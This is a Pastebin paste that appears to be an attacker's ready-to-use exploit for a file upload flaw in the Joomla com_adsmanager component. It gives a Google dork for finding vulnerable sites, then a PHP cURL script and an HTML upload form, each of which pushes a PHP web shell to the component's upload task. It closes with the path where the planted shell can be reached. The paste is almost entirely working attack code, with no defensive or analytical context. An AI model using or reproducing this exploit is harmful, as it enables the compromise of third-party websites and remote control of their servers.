Advertisement
Guest User

PHP NatashaHaxor

a guest
Jul 6th, 2015
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. NatashaHaxor
  2.  
  3.  
  4. Dork : inurl:/index.php?option=com_adsmanager/ site:/uk/com/org
  5.  
  6. CODE PHP :
  7.  
  8. <?php
  9.  
  10. $url = "blabla.com/index.php?option=com_adsmanager&task=upload&tmpl=component"; // put URL Here
  11. $post = array
  12. (
  13. "file" => "@shell.jpg",
  14. "name" => "shell.php"
  15. );
  16. $ch = curl_init ("$url");
  17. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  18. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  19. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  20. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  21. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  22. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  23. curl_setopt ($ch, CURLOPT_POST, 1);
  24. @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  25. $data = curl_exec ($ch);
  26. curl_close ($ch);
  27. echo $data;
  28.  
  29. ?>
  30.  
  31.  
  32.  
  33.  
  34. #CSRF :
  35.  
  36. <form method="POST" action="TARGET/index.php?option=com_adsmanager&task=upload&tmpl=component"
  37. enctype="multipart/form-data">
  38. <input type="file" name="files[]" /><button>Upload</button>
  39. </form>
  40.  
  41.  
  42.  
  43. Acces Shell: site.com/tmp/plupload/shell.php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement